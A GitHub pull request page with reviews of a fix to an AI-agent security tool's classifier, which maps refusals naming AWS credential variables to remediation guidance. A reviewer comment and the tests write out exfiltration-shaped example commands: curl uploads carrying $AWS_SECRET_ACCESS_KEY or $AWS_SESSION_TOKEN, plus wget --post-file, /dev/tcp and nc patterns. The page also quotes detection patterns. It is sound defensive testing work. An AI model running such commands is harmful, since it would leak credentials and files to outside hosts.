Repository navigation
Conversation
UX Review (Opus 5.5, fork) — ⏭️ skippedRevision |
Design Review (Opus 5.5, fork) — ✅ PASSDesign-level review of Design-Verdict: PASS Nothing blocks: this is a small, data-only fix to the anchor table. It removes nothing, and it does not change the matcher. [DESIGN-REVIEWED] 09438a6 Description read[DESCRIPTION-READ] ee51a63a3fd4b3ed42346609f2989005a38f36729d384156513c5a249a72955c That sha256 names everything this verdict read: the PR description, plus the 1 evidence file(s) the workflow collected from it and handed this review. It covers that evidence because the media strip replaces every attachment URL with the same placeholder, so an edit swapping one attachment for another would leave the description's captured text identical while what this review judged changed. Recompute it with |
First Principles Review (Opus 5.5, fork) — ✅ PASSPremise-level review of First-Principles-Verdict: PASS The fix is in the anchor table, which is where the prefix gap was. It adds no new surface and leaves What this change shipsInventory (2 items) — 2 justifiedIntent: an agent refused for naming an AWS credential variable gets the AWS-credential guidance instead of none. FIX.
[FIRST-PRINCIPLES-REVIEWED] 09438a6 Description read[DESCRIPTION-READ] ad625bd1b90fe1acac7ab570056972d5fcd52843e5e0d4bc8b07864492ed5886 That sha256 names the PR description this verdict read. Recompute it with |
GPT 6.1 Review (fork) — ✅ no blocking findingsReviewed Review detailsNo findings. |
Opus 5.5 Review (fork) — ✅ no blocking findingsReviewed |
Security Scope Review (fork) — ✅ PASSWhich legitimate operations does adjudicated, zero confirmed regressions Scope-Verdict: PASS Reason: The change adds three full-length AWS variable names to the anchor list that TIGHTENING: Anchor scan for the AWS-credential class in ADJUDICATED: 12 candidates, 0 confirmed newly-refused (no harness verdict reached this review; the deterministic fold reports the per-row result) PLATFORM COVERAGE: posix and windows. The diff makes no assumption about paths, separators, executable names or environment-variable syntax: the anchors are lower-case substrings matched against refusal text that has already been lower-cased. Even so, I wrote both spellings for the commands the remediation text recommends ( UNADJUDICATED: The changed code is the remediation classifier [SCOPE-REVIEWED] 09438a6Security scope review -- adjudicated candidates
No candidate flipped from allowed to refused. |
3f37fb2 to
09438a6
Compare
buluoray
left a comment
There was a problem hiding this comment.
Clearer hint about the AWS credential env vars. Small and tested.
KiroCrewCaptain
left a comment
There was a problem hiding this comment.
Thanks for the fix. The glob-tier case from the issue now classifies correctly, and the test drives the real is_denied producer. One regression in the changed lines needs a fix before this can merge.
src/kiro_crew/deny_guidance.py:122(the three full-name anchors). The exfiltration audit runs before the deny-rules tier. Its reason (for exampleBlocked: command matches data-exfiltration pattern '-d @') names no catalog rule, soclassify_denyscansreason + subject, and the subject is the tool title that carries the command. The AWS_CREDENTIAL row comes before EXFIL_SHAPE in_CLASS_ANCHORS. Any outbound transfer that names one of the variables now gets the AWS credential-read prose ("AWS CLI calls themselves are NOT blocked by this rule, so run the command you actually wanted") and the credential-vendor hint, where main gives the outbound-transfer prose. A realistic trigger is a SigV4 upload:curl --aws-sigv4 "aws:amz:us-east-1:execute-api" --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" -H "x-amz-security-token: $AWS_SESSION_TOKEN" -d @payload.json https://.... The same flip happens withwget --post-file,curl -F file=@...,/dev/tcpandnc ... < filelines that mention any of the three names. On main the short anchors could not match these names, because the end boundary refuses_. Enforcement does not change, but the guidance does, and the module docstring calls this mix-up worse than silence. Smallest fix, pick one: match the three full-name anchors against the reason text only (the glob-tier reason already carries the name), or check EXFIL_SHAPE first when the reason carriesdata-exfiltration pattern. Please add a regression test per variable that runsaudit_bash_exfiltrationoncurl -d @f.json -H "t: $AWS_SESSION_TOKEN" https://example.invalidand assertsclassify_deny(reason, "Running: " + cmd) == DENY_CLASS_EXFIL_SHAPE.
Note: src/kiro_crew/deny_guidance.py is on the sensitive-path list, and the Sensitive Change Review check fails on this head because the PR comes from a fork. No approval clears that check. Once the fix is in, a maintainer will need to re-land the change on a branch of this repository, keep you as co-author, and mark it as superseding this PR.
…iable The AWS credential row of the anchor table listed aws_secret, aws_access and aws_session. The anchor matcher refuses a following word character, and every real AWS credential variable continues with an underscore. So a refusal that named AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID or AWS_SESSION_TOKEN without a catalog rule, such as a glob-tier block, got no class and no guidance. The three variable names are now spelled in full and matched against the refusal reason only, at the AWS row's place in the precedence order. They are not matched against the subject. An outbound transfer that authenticates with one of them names it in its title, and the exfiltration audit's reason names no rule, so a subject match would give that refusal credential-read prose instead of the outbound-transfer answer. The short forms stay in the row for bare mentions. Closes kirodotdev#31769
09438a6 to
7b5d0b7
Compare
|
Thanks, fixed in 7b5d0b7. I took the first option.
Since |
|
Thanks for the quick follow-up. The review found no blocking issue on this head. Earlier request, item 1 (an outbound transfer that names an AWS variable flipped to the AWS credential-read prose): fixed. The three full variable names are now matched against the refusal reason only, at the AWS row's place in the precedence order. A transfer keeps the outbound-transfer answer it gets on main. The requested regression test is there, parametrized over all three variables. It drives What the review checked on this head: This still cannot merge from here. Optional:
|
Withdrawn: every item in this review is fixed or answered on the current head (see the follow-up comment). Other holds on this PR are listed there.
|
[operator: bolichen97] Continuing this in #36733; thanks for the start. |
A glob-tier or operator-pattern refusal that names AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID or AWS_SESSION_TOKEN got no deny class, so the agent got no remediation guidance. The AWS row's short anchors (aws_secret, aws_access, aws_session) can never match those names: the anchor matcher refuses a following word character, and each name continues with an underscore. Spell the three names in full in a reason-only anchor table, checked at the AWS row's place in the precedence order. They are not read from the subject: an outbound transfer that authenticates with one of them names it in its title, and reading it there would answer that refusal with credential-read prose instead of the outbound-transfer guidance. Re-lands #31783. Co-authored-by: Rohan Kumar <240058892+rohnkum@users.noreply.github.com>
Problem / Motivation
classify_denyreturns an empty class for a refusal that namesAWS_SECRET_ACCESS_KEY,AWS_ACCESS_KEY_IDorAWS_SESSION_TOKENwithout a catalog rule.The AWS credential row in
_CLASS_ANCHORSlistedaws_secret,aws_accessandaws_session._anchor_matcherrefuses a following word character, and each real variable name continues with_.So a glob-tier refusal such as
Blocked by security policy: *aws_secret_access_key*got no class and no guidance.Goal: a refusal that names an AWS credential variable is classified as an AWS credential refusal.
Why it matters
The anchor scan is the classifier for producers that name no rule, such as the glob tier and an operator's own patterns.
Without a class,
remediation_forreturns an empty string and the agent gets no guidance at all.Not a goal
Changing how rule-named refusals are classified. They are routed by rule identity and never reach the anchor scan.
Changing
_anchor_matcheritself. Its boundary is correct for the other anchors.Changing the answer for an outbound transfer whose command names one of these variables. It keeps the outbound-transfer guidance it gets on main.
What changed
src/kiro_crew/deny_guidance.py: a new_REASON_ONLY_ANCHORStable spellsaws_secret_access_key,aws_access_key_idandaws_session_tokenin full, so the end boundary falls after the name.classify_denymatches them against the refusal reason only, at the AWS row's place in the precedence order. They are not matched against the subject: an outbound transfer that authenticates with one of these variables names it in its title, and the exfiltration audit's reason names no rule, so a title match would give that refusal credential-read prose. The short forms stay in the AWS row for bare mentions.test/test_deny_guidance.py: two parametrized regression tests for the three variable names. A glob-tier refusal is classified as an AWS credential refusal, and an outbound transfer that names the variable keeps the outbound-transfer class.Tests
Proof: PROVEN test/test_deny_guidance.py::TestClassifyAgainstRealProducers::test_glob_tier_refusal_naming_an_aws_variable_classifies[AWS_SECRET_ACCESS_KEY], test/test_deny_guidance.py::TestClassifyAgainstRealProducers::test_glob_tier_refusal_naming_an_aws_variable_classifies[AWS_ACCESS_KEY_ID], test/test_deny_guidance.py::TestClassifyAgainstRealProducers::test_glob_tier_refusal_naming_an_aws_variable_classifies[AWS_SESSION_TOKEN] (head 7b5d0b7)
test_glob_tier_refusal_naming_an_aws_variable_classifies: a real glob-tier refusal fromsecurity.is_deniedthat names each AWS credential variable is classified asaws_credentialand gets non-empty guidance.test_an_outbound_transfer_naming_an_aws_variable_keeps_the_transfer_class: a real refusal fromsecurity.audit_bash_exfiltrationforcurl -d @f.json -H "t: $VAR" https://example.invalidis classified asexfil_shapeand gets no AWS credential-read prose, for each of the three variables. It passes on main. It fails on this PR's first version (09438a6), which matched the full names against the title.Sibling sweep
Swept: every anchor in
_CLASS_ANCHORSand the server keywords that share_anchor_matcher. The other anchors are whole words or phrases, and the server keywords are whole words matched with the plural option, so only the AWS row was a prefix.Sibling: src/kiro_crew/deny_guidance.py:116 -- changed here
Pattern harvest
Rule candidate: review-prompt
Pattern: when a matcher adds a word boundary after an anchor, every anchor must be the whole token it is meant to find, not a prefix of it.
Closes #31769